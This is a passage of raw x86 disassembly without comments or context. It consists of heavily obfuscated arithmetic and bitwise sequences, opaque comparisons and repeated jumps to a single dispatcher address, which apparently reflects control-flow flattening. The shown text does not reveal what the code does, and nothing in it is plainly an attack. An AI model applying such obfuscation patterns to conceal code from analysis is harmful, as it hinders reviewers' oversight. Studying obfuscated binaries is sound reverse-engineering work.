or ecx, 0x2a7bd554
xor eax, 0xffffffff
and eax, ecx
and eax, 0xdd3ede81
mov ecx, eax
and ecx, 0x4c4afdef
xor ecx, 0xffffffff
add eax, 0x4c4afdef
add eax, 1
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xc8c8d796
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0x43e57598
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x81195321
mov edx, 0xffffffff
xor edx, 0x81195321
and eax, edx
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xa016ddf7
mov esi, 0xffffffff
xor esi, 0xa016ddf7
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xa016ddf7
or eax, 0xa016ddf7
imul eax, edx
add eax, ecx
mov ecx, 0x2f6f85a2
xor edx, edx
div ecx
or eax, 0xa13337d0
mov ecx, 0x10e4a22c
xor edx, edx
div ecx
mov ecx, eax
mov esi, ecx
xor esi, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0x1efaa20e
mov edi, 0xffffffff
xor edi, 0x8ea61e65
mov eax, esi
and eax, 0x8ea61e65
and ecx, edi
mov edx, ebx
and edx, 0x8ea61e65
mov dword [ebp - 0x80], edx
mov edx, edi
and edx, 0x1efaa20e
or eax, ecx
mov ecx, dword [ebp - 0x80]
or ecx, edx
mov edx, dword [ebp - 0x70]
xor eax, ecx
mov ecx, dword [ebp - 0x64]
or esi, ebx
xor esi, 0xffffffff
or edi, 0x8ea61e65
and esi, edi
or eax, esi
sub eax, 0x7e446ff6
imul eax, eax, 0xec39c73d
mov edi, eax
xor edi, 0xffffffff
xor eax, 0xffffffff
or edi, eax
mov eax, 0xffffffff
xor eax, 0x51705415
mov esi, 0xffffffff
xor esi, 0x51705415
or eax, esi
xor edi, 0xffffffff
xor eax, 0xffffffff
or edi, eax
mov ebx, edi
xor ebx, 0xffffffff
and ebx, 0x554a9f74
mov eax, 0xffffffff
xor eax, 0x554a9f74
mov esi, edi
and esi, eax
mov eax, dword [ebp - 0x1c]
imul esi, ebx
mov ebx, edi
and ebx, 0x554a9f74
or edi, 0x554a9f74
imul edi, ebx
add edi, esi
mov esi, edi
xor esi, 0xffffffff
and esi, 0x4eee3f1f
mov ebx, 0xffffffff
xor ebx, 0x4eee3f1f
and edi, ebx
or esi, edi
mov edi, esi
and edi, 0x17836411
shl edi, 1
xor esi, 0x17836411
add esi, edi
add esi, 0xad41ad58
sub esi, 0xa1551547
sub esi, 0xad41ad58
or esi, 0x5160e0e4
mov edi, esi
xor edi, 0x4544fe4f
xor edi, 0xffffffff
and edi, 0x4544fe4f
shl edi, 1
sub edi, 0x4544fe4f
sub esi, edi
mov edi, esi
and edi, 0x429be0db
shl edi, 1
add esi, 0x429be0db
sub esi, edi
and esi, esi
xor esi, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x73ee42fc
mov ebx, 0xffffffff
xor ebx, 0x73ee42fc
or edi, ebx
xor esi, 0xffffffff
xor edi, 0xffffffff
or esi, edi
xor esi, 0x25f39499
sub esi, 0x85717025
xor esi, 0x7adb0615
or esi, 0xd0b5f968
mov dword [ecx], edx
mov ecx, dword [ecx]
mov edx, 0xffffffff
cmp ecx, edx
sete cl
mov byte [ebp - 0x79], cl
mov ecx, 0x61068f53
mov edx, 0x3ef1ad6c
cmp esi, 0x80221af1
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x79]
mov ecx, 0x5d08541c
mov edx, 0x4a235e47
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], 1
mov dword [eax], 0xa584ec47
jmp 0x100b81ba
mov eax, dword [0x101d2a3c]
sub eax, dword [0x101d2a40]
mov ecx, 0xefcb7c79
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x515827ac
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x515827ac
or eax, 0x515827ac
imul eax, edx
add eax, ecx
xor eax, 0xc15ad51c
sub eax, 0x6b8048a5
mov ecx, eax
and ecx, 0xe14884bf
shl ecx, 1
add eax, 0xe14884bf
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0xefb8d2ba
or edx, 0xefb8d2ba
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, 0xefb8d2ba
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x6fa58d7f
mov edx, 0xffffffff
xor edx, 0x6fa58d7f
and ecx, edx
or eax, ecx
mov ecx, 0x7f751e2d
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x9ae3b023
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xa6cda5e2
add ecx, eax
mov eax, ecx
xor eax, 0x10aabd4d
mov edx, 0xffffffff
xor edx, 0x10aabd4d
and ecx, edx
shl ecx, 1
sub ecx, eax
or ecx, 0x80e41d26
mov eax, ecx
xor eax, 0x2f4a4184
xor eax, 0xffffffff
and eax, 0x2f4a4184
shl eax, 1
sub eax, 0x2f4a4184
sub ecx, eax
and ecx, 0x462b59f5
and ecx, 0x3806d11b
mov eax, ecx
xor eax, 0xe4d7a021
xor eax, 0xffffffff
and eax, 0xe4d7a021
shl eax, 1
sub eax, 0xe4d7a021
sub ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb073281a
mov eax, 0xffffffff
xor eax, 0xfc4f74e3
or ecx, edx
or eax, 0xfc4f74e3
xor ecx, 0xffffffff
and ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xd86c799a
mov esi, 0xffffffff
xor esi, 0xd86c799a
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xd86c799a
or ecx, 0xd86c799a
imul ecx, edx
add ecx, eax
and ecx, 0xd41549a
and ecx, 0x3bc79167
and ecx, 0xfcf3cce3
xor eax, eax
sub eax, 0x1b24d4b8
add ecx, eax
mov eax, ecx
and eax, 0x8bbecc2b
or ecx, 0x8bbecc2b
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x361163f
mov ecx, 0xffffffff
xor ecx, 0xbc7afc6
or eax, edx
or ecx, 0xbc7afc6
xor eax, 0xffffffff
and eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x5cd10027
add eax, ecx
xor eax, 0xa055a99f
imul eax, eax, 0xc48680ac
and eax, 0xefb7d651
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xd82150b4
mov edx, 0xffffffff
xor edx, 0xd82150b4
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x9fe7f1db
xor edx, edx
div ecx
and eax, 0x58f3d665
and eax, 0x55f5b333
mov ecx, 0xdd7033de
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xec82130e
add eax, ecx
or eax, 0xbd551b0c
mov ecx, 0xf1ffd51c
xor edx, edx
div ecx
mov ecx, 0x6526f8e9
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xd10d6eff
shl ecx, 1
add eax, 0xd10d6eff
sub eax, ecx
imul eax, eax, 0xba542ac8
mov edx, eax
xor edx, 0xffffffff
and edx, 0xf040d706
mov esi, 0xffffffff
xor esi, 0xf040d706
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xf040d706
or eax, 0xf040d706
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0xcdc20f2c
xor ecx, 0xffffffff
add eax, 0xcdc20f2c
add eax, 1
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1318c111
mov esi, 0xffffffff
xor esi, 0x1318c111
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x1318c111
or eax, 0x1318c111
imul eax, edx
add eax, ecx
or eax, 0x8a44e0d5
mov ecx, 0xffffffff
xor ecx, 0x6e10070b
add eax, ecx
add eax, 1
add eax, 0x2f5c13c6
or eax, 0x50267fef
add eax, 0x6f9006c3
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb0adac7c
and ecx, edx
or eax, 0xb0adac7c
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
add ecx, 0x9e1a1580
sub ecx, 0xb78511ee
sub ecx, 0x9e1a1580
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe5569285
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe5569285
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x3d54a13c
mov edx, 0xffffffff
xor edx, 0x3d54a13c
and eax, edx
sub eax, ecx
imul eax, eax, 0xd765d34a
mov ecx, 0x9564c33e
xor edx, edx
div ecx
or eax, 0xf9e22352
mov ecx, 0x3aa140d2
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [ebp - 0x1c]
and edi, 0xd93d2250
sub edi, 0x7a68b5df
mov ecx, edi
xor ecx, 0x5c7cdbbc
xor ecx, 0xffffffff
and ecx, 0x5c7cdbbc
shl ecx, 1
sub ecx, 0x5c7cdbbc
sub edi, ecx
mov esi, edi
xor esi, 0xffffffff
and esi, 0x25507004
mov edx, 0xffffffff
xor edx, 0x25507004
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0x21e37bbe
and ecx, 0x25507004
and edx, 0x21e37bbe
or esi, edi
or ecx, edx
xor esi, ecx
and esi, 0xa5cc1323
mov ecx, 0x315d3f73
mov edx, 0xf4f85ea9
cmp esi, 0x120ebe3c
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [0x101d2a44]
mov edx, dword [0x101d2a48]
mov ecx, eax
and ecx, edx
shl ecx, 1
xor eax, edx
add eax, ecx
sub eax, 0x306f0016
mov ecx, 0x3ba32c33
xor edx, edx
div ecx
add eax, 0x962644d
sub eax, 0x3e0d17ab
sub eax, 0x962644d
and eax, 0x7217ce85
imul eax, eax, 0x8b2f177b
mov esi, 0xffffffff
xor esi, 0x710ad43f
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x710ad43f
or eax, 0x710ad43f
imul eax, edx
add eax, ecx
sub eax, 0xa11a6750
sub eax, 0x753e028e
add eax, 0x1e85f6e5
add eax, 0x753e028e
sub eax, 0x68395f0c
sub eax, 0xc44c864b
add eax, 0x68395f0c
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xfa530b44
mov edx, 0xffffffff
xor edx, 0xfa530b44
and eax, edx
sub eax, ecx
imul eax, eax, 0x58222e49
xor eax, 0xedae72f4
mov ecx, 0x7190a236
xor edx, edx
div ecx
add eax, 0xbb96365f
imul eax, eax, 0x5c97a97c
xor eax, 0xcc759d8c
xor eax, 0xeed43362
mov ecx, 0x31c14ce4
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0xf24ee51f
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xff894a6b
mov edx, 0xffffffff
xor edx, 0xff894a6b
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xa8b4d847
mov edx, 0xffffffff
xor edx, 0xa8b4d847
and eax, edx
or ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0x237d6d8d
xor eax, 0xffffffff
mov edx, 0x237d6d8d
and edx, 0x237d6d8d
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x48119f82
mov edx, 0xffffffff
xor edx, 0x48119f82
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, 0x6095b0d0
add eax, ecx
and eax, 0x1b1581a5
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0x66253a03
or edx, 0x66253a03
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x66253a03
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
or eax, 0xc8ea8b4b
xor eax, 0xffffffff
or ecx, 0xc8ea8b4b
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xeac6889a
xor edx, edx
div ecx
mov ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x519446a6
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x3d8ca29d
sub ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x52019ccf
mov esi, 0xffffffff
xor esi, 0x52019ccf
and edx, esi
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x52019ccf
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
sub eax, 0xe3bc2678
and eax, eax
xor eax, 0xffffffff
mov ecx, 0x10d1ef06
and ecx, 0x10d1ef06
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
xor eax, 0x4a0f5377
mov ecx, 0x12c106b
xor edx, edx
div ecx
mov ecx, 0xf4d4169e
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
sub ecx, 0x12a4b75f
imul ecx, ecx, 0xb9557c57
and ecx, 0x7243df92
mov edi, 0xffffffff
xor edi, 0x67a22d51
mov esi, ecx
and esi, edi
mov edx, ecx
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, ecx
and esi, 0x67a22d51
or ecx, 0x67a22d51
imul ecx, esi
add ecx, edx
xor ecx, 0x78604c20
and ecx, 0x5b359617
or ecx, 0x8b0ad48c
add ecx, 0x8b0b69ae
mov edx, ecx
xor edx, 0x98c96700
xor edx, 0xffffffff
or ecx, 0x98c96700
and ecx, edx
and ecx, ecx
xor ecx, 0xffffffff
mov edx, 0x72c94f02
and edx, 0x72c94f02
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
imul edx, ecx, 0x8217c962
and edx, 0x376134e9
mov ecx, edx
and ecx, 0xe5b0ba1a
xor ecx, 0xffffffff
and edx, 0xe5b0ba1a
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
sub ecx, 0x7bbc9077
or ecx, 0xf68932d4
imul esi, ecx, 0xbde3bc43
sub esi, 0xc9ec7965
or esi, 0x8d21ebe6
and esi, 0x2cdde73c
mov edi, 0xffffffff
xor edi, 0x380dcba3
mov edx, esi
and edx, edi
mov ecx, esi
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, esi
and edx, 0x380dcba3
or esi, 0x380dcba3
imul esi, edx
add esi, ecx
xor ecx, ecx
sub ecx, 0xf928bcb6
add esi, ecx
or esi, 0xea7db761
or esi, 0x74110111
or esi, 0x49212a67
mov ecx, 0xf4f85ea9
mov edx, 0xa298b39d
cmp esi, 0xef15e7a3
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x2f1f3a59
jmp 0x100b81ba
mov eax, dword [0x101d2a4c]
mov edx, dword [0x101d2a50]
mov ecx, eax
and ecx, edx
or eax, edx
add ecx, eax
mov eax, ecx
and eax, 0x36bf0bc
xor ecx, 0x36bf0bc
or eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x9f0e2fc
mov edx, 0xffffffff
xor edx, 0x9f0e2fc
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
xor eax, 0x22a4d5d2
xor ecx, ecx
sub ecx, 0xfed2dc3e
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0xc4618661
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc4618661
or eax, 0xc4618661
imul eax, edx
add eax, ecx
xor eax, 0xe1ef3221
mov ecx, eax
xor ecx, 0x3ab89477
xor ecx, 0xffffffff
or eax, 0x3ab89477
and eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x6f83051
add ecx, eax
xor eax, eax
sub eax, ecx
and eax, 0x47765f3f
and eax, 0x725ab7db
add eax, 0xd9d019a6
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xacb679f2
mov edx, 0xffffffff
xor edx, 0xacb679f2
and eax, edx
sub eax, ecx
mov ecx, 0x7e164512
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x423f456b
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xc87d1f46
mov edx, 0xffffffff
xor edx, 0xc87d1f46
and eax, edx
sub eax, ecx
mov edx, 0xffffffff
xor edx, 0xa8023ac6
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xa8023ac6
add eax, edx
sub eax, ecx
and eax, 0x7eaa1a36
and eax, 0xdcba649a
imul eax, eax, 0x20e083b2
mov ecx, 0xffffffff
xor ecx, 0x5506729f
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
add eax, 0x9a3821ba
add eax, 0x25f84ca3
add eax, 0x6ed2cda
sub eax, 0x25f84ca3
mov ecx, 0x510e76ee
xor edx, edx
div ecx
mov edx, 0xffffffff
xor edx, 0x3fd708eb
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x3fd708eb
add eax, edx
sub eax, ecx
mov ecx, 0xa88d9dc9
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1286e78d
mov esi, 0xffffffff
xor esi, 0x1286e78d
and edx, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x1286e78d
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe84925b1
mov ecx, 0xffffffff
xor ecx, 0xae732d0d
or eax, edx
or ecx, 0xae732d0d
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0xa0ef8bf5
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xb91b6925
add ecx, 0x53edbde8
sub ecx, 0x20b8d8e
sub ecx, 0x53edbde8
and ecx, 0x582adfdd
add ecx, 0x258612fe
sub ecx, 0x278f197c
xor ecx, 0x23bac16
mov eax, ecx
and eax, 0xcfb8ecbc
xor ecx, 0xcfb8ecbc
or eax, ecx
mov esi, eax
and esi, 0x903a4a9f
or eax, 0x903a4a9f
add esi, eax
and esi, 0xc208ae8f
or esi, 0x7a7982e0
sub esi, 0x19864c12
mov edx, 0xffffffff
xor edx, 0xf6fc3bb1
mov ecx, esi
and ecx, edx
mov eax, esi
or eax, edx
xor eax, 0xffffffff
imul eax, ecx
mov ecx, esi
and ecx, 0xf6fc3bb1
or esi, 0xf6fc3bb1
imul esi, ecx
add esi, eax
xor esi, 0xa5ba26b1
sub esi, 0xfa6e9735
add esi, 0xdf2c09b
add esi, 0xfa6e9735
mov eax, esi
xor eax, 0xffffffff
and eax, 0x9a1da856
mov edx, 0xffffffff
xor edx, 0x9a1da856
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x9355e30c
and ecx, 0x9a1da856
and edx, 0x9355e30c
or eax, esi
or ecx, edx
xor eax, ecx
mov esi, 0xffffffff
xor esi, 0x74da030d
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x74da030d
or eax, 0x74da030d
imul eax, edx
add eax, ecx
add eax, 0x6bf37fe2
imul eax, eax, 0x6c2b738f
add eax, 0xa8bfc04d
mov esi, eax
xor esi, 0xffffffff
xor eax, 0xffffffff
or esi, eax
mov eax, 0x6ab0d78b
and eax, 0x6ab0d78b
xor eax, 0xffffffff
and esi, eax
xor esi, 0xffffffff
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xd742815d
mov edx, 0xffffffff
xor edx, 0xd742815d
and esi, edx
mov eax, 0xffffffff
xor eax, 0xcdcbe6ed
and eax, 0xd742815d
and edx, 0xcdcbe6ed
or ecx, esi
or eax, edx
xor ecx, eax
or ecx, 0x9a5a644e
xor ecx, 0x3f959674
xor ecx, 0xbb361c7c
sub ecx, 0x9f209f73
xor ecx, 0x375dbd70
xor eax, eax
sub eax, 0x1ebe9450
add ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xd6925b
add ecx, eax
and ecx, 0xbbd9e319
xor eax, eax
sub eax, 0x4c053298
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xb6a1be61
mov edx, 0xffffffff
xor edx, 0xb6a1be61
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xedb9a916
mov edx, 0xffffffff
xor edx, 0x852997a3
mov esi, ecx
and esi, 0x852997a3
and eax, edx
mov dword [ebp - 0x8c], eax
mov ebx, edi
and ebx, 0x852997a3
mov eax, edx
and eax, 0xedb9a916
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x8c]
or esi, eax
mov eax, dword [ebp - 0x88]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor esi, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0x852997a3
and ecx, edx
or esi, ecx
mov ecx, 0xf74b2143
mov edx, 0xd0521d68
cmp esi, 0xbff00f9d
cmove ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [0x101d2a54]
sub eax, dword [0x101d2a58]
imul eax, eax, 0xf0ec9ca
mov ecx, 0xdb3d026
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x491533fc
add eax, ecx
or eax, 0x92fcc1ed
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xfb3e105c
mov edx, 0xffffffff
xor edx, 0xfb3e105c
and eax, edx
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x9ebbb6ee
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9ebbb6ee
or eax, 0x9ebbb6ee
imul eax, edx
add eax, ecx
and eax, 0x8f8c9a32
mov esi, 0xffffffff
xor esi, 0x3a655505
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x3a655505
or eax, 0x3a655505
imul eax, edx
add eax, ecx
add eax, 0xaeb8fb77
mov ecx, eax
xor ecx, 0xe6d213c4
mov edx, 0xffffffff
xor edx, 0xe6d213c4
and eax, edx
shl eax, 1
sub eax, ecx
add eax, 0x1ba47d4a
imul ecx, eax, 0xf35f494e
xor ecx, 0xd8b3c5e1
xor ecx, 0x9a1bb58d
and ecx, 0x2d076221
sub ecx, 0x6c43b21d
sub ecx, 0x9a6063b5
add ecx, 0x6c43b21d
mov esi, 0xffffffff
xor esi, 0x72376f81
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x72376f81
or ecx, 0x72376f81
imul ecx, edx
add ecx, eax
xor ecx, 0xea30edec
xor ecx, 0x47cf6f7a
sub ecx, 0x514aaeb4
mov eax, 0xffffffff
xor eax, 0x25fba69d
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
mov edx, 0xffffffff
xor edx, 0x34c12005
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0x5d3bc6ef
xor edx, edx
div ecx
imul eax, eax, 0xb0b345fb
mov ecx, eax
and ecx, 0x9bef845
shl ecx, 1
add eax, 0x9bef845
sub eax, ecx
mov ecx, eax
and ecx, 0x8ed18ef9
shl ecx, 1
xor eax, 0x8ed18ef9
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd0ce3891
mov esi, 0xffffffff
xor esi, 0xd0ce3891
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xd0ce3891
or eax, 0xd0ce3891
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xb1fc27a5
mov edx, 0xffffffff
xor edx, 0xb1fc27a5
and eax, edx
shl eax, 1
sub eax, ecx
xor eax, 0x7c869e5c
xor eax, 0x61c542ba
mov ecx, 0xfac8391d
xor edx, edx
div ecx
xor eax, 0xbe093c80
mov ecx, 0x72cf886e
xor edx, edx
div ecx
mov esi, eax
mov eax, 0xffffffff
xor eax, 0xa5948ae0
xor ecx, ecx
sub ecx, 1
sub eax, ecx
sub esi, eax
and esi, 0xcb2ae1bc
sub esi, 0x788044b9
sub esi, 0x13c4004c
add esi, 0x788044b9
mov edx, 0xffffffff
xor edx, 0x8592fa09
mov ecx, esi
and ecx, edx
mov eax, esi
or eax, edx
xor eax, 0xffffffff
imul eax, ecx
mov ecx, esi
and ecx, 0x8592fa09
or esi, 0x8592fa09
imul esi, ecx
add esi, eax
add esi, 0x97b5fe65
mov eax, esi
xor eax, 0xffffffff
and eax, 0xd2eecc5a
mov edx, 0xffffffff
xor edx, 0xd2eecc5a
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x89e739d3
and ecx, 0xd2eecc5a
and edx, 0x89e739d3
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x5f1be9a8
mov esi, 0xffffffff
xor esi, 0x5f1be9a8
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x5f1be9a8
or eax, 0x5f1be9a8
imul eax, edx
add eax, ecx
or eax, 0x8b7cd26c
add eax, 0xebbc35a1
add eax, 0x3dc4dac3
sub eax, 0xebbc35a1
mov esi, 0xffffffff
xor esi, 0x455df320
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x455df320
or eax, 0x455df320
imul eax, edx
add eax, ecx
mov ecx, 0x9affff6
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x9c], ecx
mov esi, 0xffffffff
xor esi, 0xfc76c0a5
mov edx, 0xffffffff
xor edx, 0x6cd5a167
and ecx, 0x6cd5a167
and eax, edx
mov edi, esi
and edi, 0x6cd5a167
mov ebx, edx
and ebx, 0xfc76c0a5
or ecx, eax
mov eax, dword [ebp - 0x9c]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x6cd5a167
and eax, edx
or ecx, eax
mov edx, ecx
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x3477ce2d
mov esi, 0xffffffff
xor esi, 0x14223db9
mov eax, edx
and eax, 0x14223db9
mov dword [ebp - 0x98], eax
and ecx, esi
mov ebx, edi
and ebx, 0x14223db9
mov eax, esi
and eax, 0x3477ce2d
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x98]
or eax, ecx
mov ecx, dword [ebp - 0x94]
or ebx, ecx
mov ecx, dword [ebp - 0x64]
xor eax, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x14223db9
and edx, esi
or eax, edx
sub eax, 0x9b37955a
sub eax, 0x80c64c35
add eax, 0x9b37955a
mov esi, 0xb85f360a
xor edx, edx
div esi
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov esi, edx
and esi, 0x36594536
or edx, 0x36594536
add esi, edx
mov edx, esi
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xddea0abf
or edx, edi
and esi, 0xddea0abf
xor esi, 0xffffffff
xor edx, 0xffffffff
xor esi, 0xffffffff
or edx, esi
add edx, 0xfdb07eb5
and edx, 0x60a7cf00
add edx, 0x788859c8
mov edi, edx
xor edi, 0xffffffff
and edi, 0x147e7de
mov ebx, 0xffffffff
xor ebx, 0x147e7de
mov esi, edx
and esi, ebx
imul esi, edi
mov edi, edx
and edi, 0x147e7de
or edx, 0x147e7de
imul edx, edi
add edx, esi
mov esi, edx
xor esi, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x8a40fda8
and esi, edi
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x8a40fda8
and edx, edi
or esi, edx
xor esi, 0xffffffff
mov edx, esi
xor edx, 0xffffffff
and edx, 0x4bafc7ca
mov edi, 0xffffffff
xor edi, 0x4bafc7ca
and esi, edi
or edx, esi
and edx, 0x926ddc
imul edx, edx, 0x601421ff
imul esi, edx, 0x72f8d5e3
mov edi, esi
xor edi, 0xffffffff
and edi, 0xc85e24fc
mov ebx, 0xffffffff
xor ebx, 0xc85e24fc
mov edx, esi
and edx, ebx
imul edx, edi
mov edi, esi
